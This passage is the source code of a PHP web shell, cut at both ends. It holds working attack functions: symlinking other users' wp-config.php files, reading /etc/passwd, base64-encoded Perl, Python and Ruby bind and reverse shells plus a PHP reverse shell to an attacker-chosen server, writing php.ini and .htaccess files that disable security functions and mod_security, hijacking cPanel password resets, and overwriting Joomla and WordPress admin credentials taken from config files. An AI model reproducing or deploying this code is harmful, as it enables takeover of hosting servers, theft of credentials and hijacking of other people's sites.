fwrite($f,$cont);\r\n\t\tif($w){\r\n\t\t\techo \'<br/>save has been Successfully\';\r\n\t\t}\r\n\t\tfclose($f);\r\n\t}\r\n\texit;\r\n}\r\nfunction sym404($dir,$file){\r\n\t$cp = get_current_user();\r\n\tif($_POST[\'execute\']){\r\n\t\t@rmdir("angkol_sym404");\r\n\t\t@mkdir("angkol_sym404", 0777);\r\n\t\t$dir = $_POST[\'dir\'];\r\n\t\t$isi = $_POST[\'isi\'];\r\n\t\t@system("ln -s ".$dir."angkol_sym404/".$isi);\r\n\t\t@symlink($dir,"angkol_sym404/".$isi);\r\n\t\t$inija = fopen("angkol_sym404/.htaccess", "w");\r\n\t\t@fwrite($inija,"ReadmeName ".$isi."\\nOptions Indexes FollowSymLinks\\nDirectoryIndex ids.html\\nAddType text/plain php html php5 phtml\\nAddHandler text/plain php html php5 phtml\\nSatisfy Any");\r\n\t\techo\'<a href="/angkol_sym404/" target="_blank" class="btn btn-Success btn-block mb-3">Click Me!!</a>\';\r\n\t}else{\r\n\t\techo \'<h2>Symlink 404</h2>\r\n\t\t<form method="post">\r\n\t\t\tFile Target: <input type="text" class="form-control" name="dir" value="/home/\'.$cp.\'/public_html/wp-config.php"><br/>\r\n\t\t\tSave As: <input type="text" class="form-control" name="isi" placeholder="file.txt"/><br/>\r\n\t\t\t<input type="submit" class="btn btn-danger btn-block" value="Execute" name="execute"/>\r\n\t\t\t<p class="text-muted">This Tool only work in Folder |<u>public_html/wp-config.php</u>| So please change according to location.</p>\r\n\t\t</form>\';\r\n\t}\r\n\texit;\r\n}\r\nfunction symBypass($dir,$file){\r\n\t$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\r\n\t$pageFTP = \'ftp://\'.$_SERVER["SERVER_NAME"].\'/public_html/\'.$_SERVER["REQUEST_URI"];\r\n\t$u = explode("/",$pageFTP );\r\n\t$pageFTP =str_replace($u[count($u)-1],"",$pageFTP );\r\n\tif(isset($_GET[\'save\']) and isset($_POST[\'file\']) or @filesize(\'passwd.txt\') > 0){\r\n\t\t$cont = stripcslashes($_POST[\'file\']);\r\n\t\tif(!file_exists(\'passwd.txt\')){\r\n\t\t\t$f = @fopen(\'passwd.txt\',\'w\');\r\n\t\t\t$w = @fwrite($f,$cont);\r\n\t\t\tfclose($f);\r\n\t\t}\r\n\t\tif($w or @filesize(\'passwd.txt\') > 0){\r\n\t\t\techo "<div class=\'tmp\'>\r\n\t\t\t<table width=\'100%\' class=\'text-center table-responsive mb-4\'>\r\n\t\t\t\t<thead class=\'bg-info\'>\r\n\t\t\t\t\t<th>Users</th>\r\n\t\t\t\t\t<th>symlink</th>\r\n\t\t\t\t\t<th>FTP</th>\r\n\t\t\t\t</thead>";\r\n\t\t\t\tflush();\r\n\t\t\t\t$fil3 = file(\'passwd.txt\');\r\n\t\t\t\tforeach ($fil3 as $f){\r\n\t\t\t\t\t$u=explode(\':\', $f);\r\n\t\t\t\t\t$user = $u[\'0\'];\r\n\t\t\t\t\techo "<tr>\r\n\t\t\t\t\t\t<td class=\'text-left pl-1\'>$user</td>\r\n\t\t\t\t\t\t<td><a href=\'$full/sym/root/home/$user/public_html\' target=\'_blank\'>Symlink </a></td>\r\n\t\t\t\t\t\t<td><a href=\'$pageFTP/sym/root/home/$user/public_html\' target=\'_blank\'>FTP</a></td>\r\n\t\t\t\t\t</tr>";\r\n\t\t\t\t\tflush();\r\n\t\t\t\t\tflush();\r\n\t\t\t\t}\r\n\t\t\techo "</tr></table></div>";\r\n\t\t\tdie();\r\n\t\t}\r\n\t}\r\n\techo "read /etc/passwd <font color=\'red\'>Error ? </font><a href=\'?dir=".$dir."&aksi=passwbypass\'>Bypass Here</a>\r\n\t<form method=\'post\' action=\'?dir=$dir&aksi=sym_bypas&save=1\'>\r\n\t\t<textarea class=\'form-control\' rows=\'13\' name=\'file\'>";\r\n\t\t\tflush();\r\n\t\t\t$file = \'/etc/passwd\';\r\n\t\t\t$r3ad = @fopen($file, \'r\');\r\n\t\t\tif ($r3ad){\r\n\t\t\t\t$content = @fread($r3ad, @filesize($file));\r\n\t\t\t\techo "".htmlentities($content)."";\r\n\t\t\t}elseif(!$r3ad){\r\n\t\t\t\t$r3ad = @show_source($file) ;\r\n\t\t\t}elseif(!$r3ad){\r\n\t\t\t\t$r3ad = @highlight_file($file);\r\n\t\t\t}elseif(!$r3ad){\r\n\t\t\t\tfor($uid=0;$uid<1000;$uid++){\r\n\t\t\t\t$ara = posix_getpwuid($uid);\r\n\t\t\t\tif (!empty($ara)){\r\n\t\t\t\t\twhile (list ($key, $val) = each($ara)){\r\n\t\t\t\t\t\tprint "$val:";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tprint "\\n";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tflush();\r\n\t\techo "</textarea><br/>\r\n\t\t<input type=\'submit\' class=\'btn btn-danger btn-block\' value=\'Symlink\'/>\r\n\t</form>";\r\n\tflush();\r\n\texit;\r\n}\r\nfunction bcTool($dir,$file){\r\n\techo "<h4 class=\'text-center mb-4\'>Back Connect Tools</h4>\r\n\t<form method=\'post\'>\r\n\t\t<div class=\'row\'>\r\n\t\t\t<div class=\'col-md-10\'>\r\n\t\t\t\t<span>Bind port to /bin/sh [Perl]</span><br/>\r\n\t\t\t\t<label>Port :</label>\r\n\t\t\t\t<div class=\'form-group input-group mb-4\'>\r\n\t\t\t\t\t<input type=\'text\' name=\'port\' class=\'form-control\' value=\'6969\'>\r\n\t\t\t\t\t<input type=\'submit\' name=\'bpl\' class=\'btn btn-danger form-control\' value=\'Reserve\'>\r\n\t\t\t\t</div>\r\n\t\t\t\t<h5>Back-Connect</h5>\r\n\t\t\t\t<label>Server :</label>\r\n\t\t\t\t<input type=\'text\' name=\'server\' class=\'form-control mb-3\' placeholder=\'". $_SERVER[\'REMOTE_ADDR\'] ."\'>\r\n\t\t\t\t<label>Port :</label>\r\n\t\t\t\t<div class=\'form-group input-group mb-4\'>\r\n\t\t\t\t\t<input type=\'text\' name=\'port\' class=\'form-control\' placeholder=\'443\'>\r\n\t\t\t\t\t<select class=\'form-control\' name=\'backconnect\'>\r\n\t\t\t\t\t\t<option value=\'perl\'>Perl</option>\r\n\t\t\t\t\t\t<option value=\'php\'>PHP</option>\r\n\t\t\t\t\t\t<option value=\'python\'>Python</option>\r\n\t\t\t\t\t\t<option value=\'ruby\'>Ruby</option>\r\n\t\t\t\t\t</select>\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type=\'submit\' class=\'btn btn-danger btn-block\' value=\'Connect\'>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</form>";\r\n\tif($_POST[\'bpl\']){\r\n\t\t$bp = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=");\r\n\t\t$brt = @fopen(\'bp.pl\',\'w\');\r\n\t\tfwrite($brt,$bp);\r\n\t\t$out = exe("perl bp.pl ".$_POST[\'port\']." 1>/dev/null 2>&1 &");\r\n\t\tsleep(1);\r\n\t\techo "<pre class=\'text-light\'>$out\\n".exe("ps aux | grep bp.pl")."</pre>";\r\n\t\tunlink("bp.pl");\r\n\t}\r\n\tif($_POST[\'backconnect\'] == \'perl\'){\r\n\t\t$bc = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7");\r\n\t\t$plbc = @fopen(\'bc.pl\',\'w\');\r\n\t\tfwrite($plbc,$bc);\r\n\t\t$out = exe("perl bc.pl ".$_POST[\'server\']." ".$_POST[\'port\']." 1>/dev/null 2>&1 &");\r\n\t\tsleep(1);\r\n\t\techo "<pre class=\'text-light\'>$out\\n".exe("ps aux | grep bc.pl")."</pre>";\r\n\t\tunlink("bc.pl");\r\n\t}\r\n\tif($_POST[\'backconnect\'] == \'python\'){\r\n\t\t$becaa = base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk=");\r\n\t\t$pbcaa = @fopen(\'bcpyt.py\',\'w\');\r\n\t\tfwrite($pbcaa,$becaa);\r\n\t\t$out1 = exe("python bcpyt.py ".$_POST[\'server\']." ".$_POST[\'port\']);\r\n\t\tsleep(1);\r\n\t\techo "<pre class=\'text-light\'>$out1\\n".exe("ps aux | grep bcpyt.py")."</pre>";\r\n\t\tunlink("bcpyt.py");\r\n\t}\r\n\tif($_POST[\'backconnect\'] == \'ruby\'){\r\n\t\t$becaak = base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k");\r\n\t\t$pbcaak = @fopen(\'bcruby.rb\',\'w\');\r\n\t\tfwrite($pbcaak,$becaak);\r\n\t\t$out2 = exe("ruby bcruby.rb ".$_POST[\'server\']." ".$_POST[\'port\']);\r\n\t\tsleep(1);\r\n\t\techo "<pre class=\'text-light\'>$out2\\n".exe("ps aux | grep bcruby.rb")."</pre>";\r\n\t\tunlink("bcruby.rb");\r\n\t}\r\n\tif($_POST[\'backconnect\'] == \'php\'){\r\n\t\t$ip = $_POST[\'server\'];\r\n\t\t$port = $_POST[\'port\'];\r\n\t\t$sockfd = fsockopen($ip , $port , $errno, $errstr );\r\n\t\tif($errno != 0){\r\n\t\t\techo "<font color=\'red\'>$errno : $errstr</font>";\r\n\t\t}else if (!$sockfd){\r\n\t\t\t$result = "<p>Unexpected Error has occured, connection may have failed.</p>";\r\n\t\t}else{\r\n\t\t\tfputs ($sockfd ,"\r\n\t\t\t\\n{#######################################}\r\n\t\t\t\\n..:: BackConnect PHP By AngkolVen ::..\r\n\t\t\t\\n{#######################################}\\n");\r\n\t\t\t$dir = @shell_exec("pwd");\r\n\t\t\t$sysinfo = @shell_exec("uname -a");\r\n\t\t\t$time = @Shell_exec("time");\r\n\t\t\t$len = 1337;\r\n\t\t\tfputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\\n\\n");\r\n\t\t\twhile(!feof($sockfd)){\r\n\t\t\t\t$cmdPrompt = \'[kuda]#:> \';\r\n\t\t\t\t@fputs ($sockfd , $cmdPrompt );\r\n\t\t\t\t$command= fgets($sockfd, $len);\r\n\t\t\t\t@fputs($sockfd , "\\n" . @shell_exec($command) . "\\n\\n");\r\n\t\t\t}\r\n\t\t\t@fclose($sockfd);\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction disabFunc($dir,$file){\r\n\techo "<div class=\'card card-body text-center text-dark\'>\r\n\t\t<h4 class=\'text-center mt-2 mb-3\'>Bypass Disable Functions</h2>\r\n\t\t<form method=\'POST\'>\r\n\t\t\t<input type=\'submit\' class=\'btn btn-danger\' name=\'ini\' value=\'php.ini\'/>\r\n\t\t\t<input type=\'submit\' class=\'btn btn-danger\' name=\'htce\' value=\'.htaccess\'/>\r\n\t\t\t<input type=\'submit\' class=\'btn btn-danger\' name=\'litini\' value=\'Litespeed\'/>\r\n\t\t</form>";\r\n\t\tif(isset($_POST[\'ini\'])){\r\n\t\t\t$file = fopen("php.ini","w");\r\n\t\t\techo fwrite($file,"safe_mode = OFF\\ndisable_functions = NONE");\r\n\t\t\tfclose($file);\r\n\t\t\techo "<a href=\'php.ini\' class=\'btn btn-Success btn-block\' target=\'_blank\'>Klik Coeg!</a>";\r\n\t\t}elseif(isset($_POST[\'htce\'])){\r\n\t\t\t$file = fopen(".htaccess","w");\r\n\t\t\techo fwrite($file,"<IfModule mod_security.c>\\nSecFilterEngine Off\\nSecFilterScanPOST Off\\n</IfModule>");\r\n\t\t\tfclose($file);\r\n\t\t\techo "<p>.htaccess Successfully created!</p>";\r\n\t\t}elseif(isset($_POST[\'litini\'])){\r\n\t\t\t$iniph = "PD8gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbImZpbGUiXSk7DQplY2hvIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbInNzIl07DQo/Pg==";\r\n\t\t\t$byph = "safe_mode = OFF\\ndisable_functions = NONE";\r\n\t\t\t$comp = "<Files *.php>\\nForceType application/x-httpd-php4\\n</Files>";\r\n\t\t\tfile_put_contents("php.ini",$byph);\r\n\t\t\tfile_put_contents("ini.php",$iniph);\r\n\t\t\tfile_put_contents(".htaccess",$comp);\r\n\t\t\t$swa = "Success";\r\n\t\t\t$text = "Disable Functions in Litespeed Created";\r\n\t\t\tswall($swa,$text,$dir);\r\n\t\t}\r\n\techo "</div>";\r\n}\r\nfunction resetCp($dir){\r\n\techo \'<h5 class="text-center mb-4"><i class="fa fa-key"></i> Auto Reset Password Cpanel</h5>\r\n\t<form method="POST">\r\n\t\t<div class="form-group input-group">\r\n\t\t\t<div class="input-group-prepend">\r\n\t\t\t\t<div class="input-group-text"><i class="fa fa-envelope"></i></div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type="email" name="email" class="form-control" placeholder="Your Email"/>\r\n\t\t\t</div>\r\n\t\t\t<input type="submit" name="submit" class="btn btn-danger btn-block" value="Send"/>\r\n\t\t</div>\r\n\t</form>\';\r\n\tif(isset($_POST[\'submit\'])){\r\n\t\t$user = get_current_user();\r\n\t\t$site = $_SERVER[\'HTTP_HOST\'];\r\n\t\t$ips = getenv(\'REMOTE_ADDR\');\r\n\t\t$email = $_POST[\'email\'];\r\n\t\t$wr = \'email:\'.$email;\r\n\t\t$f = fopen(\'/home/\'.$user.\'/.cpanel/contactinfo\', \'w\');\r\n\t\t@fwrite($f, $wr); \r\n\t\t@fclose($f);\r\n\t\t$f = fopen(\'/home/\'.$user.\'/.contactinfo\', \'w\');\r\n\t\t@fwrite($f, $wr); \r\n\t\t@fclose($f);\r\n\t\t$parm = $site.\':2082/resetpass?start=1\';\r\n\t\techo \'<br/>Url: \'.$parm.\'\';\r\n\t\techo \'<br/>Username: \'.$user.\'\';\r\n\t\techo \'<br/>Success Reset To: \'.$email.\'<br/><br/>\';\r\n\t}\r\n\texit;\r\n}\r\nfunction autoEdit($dir,$file){\r\n\tif($_POST[\'hajar\']){\r\n\t\tif(strlen($_POST[\'pass_baru\']) < 6 OR strlen($_POST[\'user_baru\']) < 6){\r\n\t\t\techo "Username dan Password harus lebih dari 6 karakter";\r\n\t\t}else{\r\n\t\t\t$user_baru = $_POST[\'user_baru\'];\r\n\t\t\t$pass_baru = md5($_POST[\'pass_baru\']);\r\n\t\t\t$conf = $_POST[\'config_dir\'];\r\n\t\t\t$scan_conf = scandir($conf);\r\n\t\t\tforeach($scan_conf as $file_conf){\r\n\t\t\t\tif(!is_file("$conf/$file_conf")) continue;\r\n\t\t\t\t$config = file_get_contents("$conf/$file_conf");\r\n\t\t\t\tif(preg_match("/JConfig|joomla/",$config)){\r\n\t\t\t\t\t$dbhost = ambilkata($config,"host = \'","\'");\r\n\t\t\t\t\t$dbuser = ambilkata($config,"user = \'","\'");\r\n\t\t\t\t\t$dbpass = ambilkata($config,"password = \'","\'");\r\n\t\t\t\t\t$dbname = ambilkata($config,"db = \'","\'");\r\n\t\t\t\t\t$dbprefix = ambilkata($config,"dbprefix = \'","\'");\r\n\t\t\t\t\t$prefix = $dbprefix."users";\r\n\t\t\t\t\t$conn = mysql_connect($dbhost,$dbuser,$dbpass);\r\n\t\t\t\t\t$db = mysql_select_db($dbname);\r\n\t\t\t\t\t$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");\r\n\t\t\t\t\t$result = mysql_fetch_array($q);\r\n\t\t\t\t\t$id = $result[\'id\'];\r\n\t\t\t\t\t$site = ambilkata($config,"sitename = \'","\'");\r\n\t\t\t\t\t$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE id=\'$id\'");\r\n\t\t\t\t\techo "Config => ".$file_conf."<br>";\r\n\t\t\t\t\techo "CMS => Joomla<br>";\r\n\t\t\t\t\tif($site == \'\'){\r\n\t\t\t\t\t\techo "Sitename => <font color=red>Error, Can\'t take the domain name</font><br>";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo "Sitename => $site<br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(!$update OR !$conn OR !$db){\r\n\t\t\t\t\t\techo "Status => <font color=red>".mysql_Error()."</font><br><br>";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo "Status => <font color=lime>Success, Please login with a new User & Password.</font><br><br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmysql_close($conn);\r\n\t\t\t\t}elseif(preg_match("/WordPress/",$config)){\r\n\t\t\t\t\t$dbhost = ambilkata($config,"DB_HOST\', \'","\'");\r\n\t\t\t\t\t$dbuser = ambilkata($config,"DB_USER\', \'","\'");\r\n\t\t\t\t\t$dbpass = ambilkata($config,"DB_PASSWORD\', \'","\'");\r\n\t\t\t\t\t$dbname = ambilkata($config,"DB_NAME\', \'","\'");\r\n\t\t\t\t\t$dbprefix = ambilkata($config,"table_prefix = \'","\'");\r\n\t\t\t\t\t$prefix = $dbprefix."users";\r\n\t\t\t\t\t$option = $dbprefix."options";\r\n\t\t\t\t\t$conn = mysql_connect($dbhost,$dbuser,$dbpass);\r\n\t\t\t\t\t$db = mysql_select_db($dbname);\r\n\t\t\t\t\t$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");\r\n\t\t\t\t\t$result = mysql_fetch_array($q);\r\n\t\t\t\t\t$id = $result[ID];\r\n\t\t\t\t\t$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");\r\n\t\t\t\t\t$result2 = mysql_fetch_array($q2);\r\n\t\t\t\t\t$target = $result2[option_value];\r\n\t\t\t\t\tif($target == \'\'){\r\n\t\t\t\t\t$url_target = "Login => <font color=red>Error, Could not retrieve the domain name</font><br>";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$url_target = "Login => <a href=\'$target/wp-login.php\' 